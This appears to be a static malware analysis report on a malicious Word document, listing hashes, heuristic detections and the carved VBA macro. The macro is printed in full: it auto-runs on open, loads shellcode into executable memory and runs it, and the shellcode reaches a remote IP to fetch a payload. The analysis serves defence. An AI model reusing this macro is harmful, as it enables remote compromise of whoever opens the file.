Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7dbf1a890e2d0dff…

MALICIOUS

Office (OLE)

37.0 KB Created: 2019-01-17 15:10:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: a23a44b865b80ba814834894c9470960 SHA-1: ef621843fb8f2c32b15c5ce3f3ee195374731783 SHA-256: 7dbf1a890e2d0dffcd478bfce8f8d4ad877510c6658833e0af07c4654114f789
206 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample is a Microsoft Word document that contains VBA macros. Heuristics indicate a critical vulnerability (CVE-2007-3899) that leverages VirtualAlloc for memory corruption, leading to arbitrary code execution. The AutoOpen macro is present, suggesting it executes automatically upon opening the document. The VBA script uses VirtualAlloc and CreateThread, indicating it likely allocates memory and executes shellcode.

Heuristics 9

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim Ndhu As Long, Gerleql As Variant, Qyx As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4835 bytes
SHA-256: 579dbd57912e2f4e06dbc7a0b4cd473901488925e7049d8ddbc9b88b8c4c0d61
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Eweehggnd As Long, ByVal Uevuhhctt As Long, ByVal Owaane As LongPtr, Nqqiiac As Long, ByVal Rvb As Long, Fgtmw As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Tilpix As Long, ByVal Pdwg As Long, ByVal Bwnavczcv As Long, ByVal Cbozq As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Heizkli As LongPtr, ByRef Nnsu As Any, ByVal Vbjpsqayi As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Eweehggnd As Long, ByVal Uevuhhctt As Long, ByVal Owaane As Long, Nqqiiac As Long, ByVal Rvb As Long, Fgtmw As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Tilpix As Long, ByVal Pdwg As Long, ByVal Bwnavczcv As Long, ByVal Cbozq As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Heizkli As Long, ByRef Nnsu As Any, ByVal Vbjpsqayi As Long) As Long
#End If

Sub Auto_Open()
    Dim Ndhu As Long, Gerleql As Variant, Qyx As Long
#If VBA7 Then
    Dim Clyrsv As LongPtr, Wvakw As LongPtr
#Else
    Dim Clyrsv As Long, Wvakw As Long
#End If
    Gerleql = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, 255, 213, 49, 219, 83, 83, 83, 83, _
83, 232, 62, 0, 0, 0, 77, 111, 122, 105, 108, 108, 97, 47, 53, 46, 48, 32, 40, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 54, 46, 49, 59, 32, 84, 114, 105, 100, 101, 110, 116, 47, 55, 46, 48, 59, 32, 114, 118, 58, 49, 49, 46, 48, 41, 32, 108, 105, 107, 101, 32, 71, 101, 99, 107, 111, 0, 104, 58, 86, 121, 167, 255, 213, 83, 83, 106, 3, 83, _
83, 104, 187, 1, 0, 0, 232, 128, 1, 0, 0, 47, 100, 80, 68, 67, 48, 99, 54, 50, 95, 113, 69, 119, 73, 68, 69, 104, 98, 71, 67, 111, 69, 119, 57, 95, 72, 72, 81, 109, 104, 80, 72, 70, 97, 78, 112, 109, 68, 57, 97, 81, 48, 54, 121, 110, 45, 112, 115, 100, 51, 77, 56, 50, 90, 107, 50, 89, 106, 100, 72, 119, 78, 81, 102, 79, 102, 69, 69, 77, _
75, 85, 99, 66, 115, 112, 105, 103, 101, 73, 51, 122, 54, 107, 54, 75, 52, 54, 122, 103, 51, 65, 97, 70, 76, 103, 52, 69, 53, 98, 72, 54, 48, 78, 116, 53, 45, 57, 116, 102, 99, 76, 88, 99, 87, 107, 48, 78, 78, 117, 121, 122, 119, 56, 107, 81, 106, 120, 118, 72, 79, 68, 80, 102, 89, 56, 88, 67, 89, 108, 99, 82, 79, 104, 50, 77, 70, 75, 114, 48, _
84, 70, 106, 68, 54, 105, 74, 114, 87, 119, 72, 55, 49, 108, 108, 75, 83, 75, 111, 81, 51, 70, 101, 65, 100, 104, 110, 86, 95, 45, 108, 110, 81, 84, 122, 119, 48, 65, 117, 103, 54, 75, 83, 116, 70, 97, 83, 45, 82, 115, 113, 81, 106, 118, 104, 48, 110, 114, 121, 118, 106, 118, 88, 70, 72, 73, 98, 72, 76, 122, 68, 49, 87, 70, 116, 98, 77, 107, 70, 116, _
54, 57, 80, 97, 75, 49, 112, 77, 122, 75, 53, 0, 80, 104, 87, 137, 159, 198, 255, 213, 137, 198, 83, 104, 0, 50, 224, 132, 83, 83, 83, 87, 83, 86, 104, 235, 85, 46, 59, 255, 213, 150, 106, 10, 95, 104, 128, 51, 0, 0, 137, 224, 106, 4, 80, 106, 31, 86, 104, 117, 70, 158, 134, 255, 213, 83, 83, 83, 83, 86, 104, 45, 6, 24, 123, 255, 213, 133, 192, 117, _
20, 104, 136, 19, 0, 0, 104, 68, 240, 53, 224, 255, 213, 79, 117, 205, 232, 75, 0, 0, 0, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, 64, 0, 83, 104, 88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 207, 139, 7, 1, 195, 133, 192, 117, 229, 88, 195, 95, 232, 107, 255, 255, _
255, 49, 55, 56, 46, 50, 53, 52, 46, 49, 49, 54, 46, 49, 56, 0, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213)


    Clyrsv = VirtualAlloc(0, UBound(Gerleql), &H1000, &H40)
    For Qyx = LBound(Gerleql) To UBound(Gerleql)
        Ndhu = Gerleql(Qyx)
        Wvakw = RtlMoveMemory(Clyrsv + Qyx, Ndhu, 1)
    Next Qyx
    Wvakw = CreateThread(0, 0, Clyrsv, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

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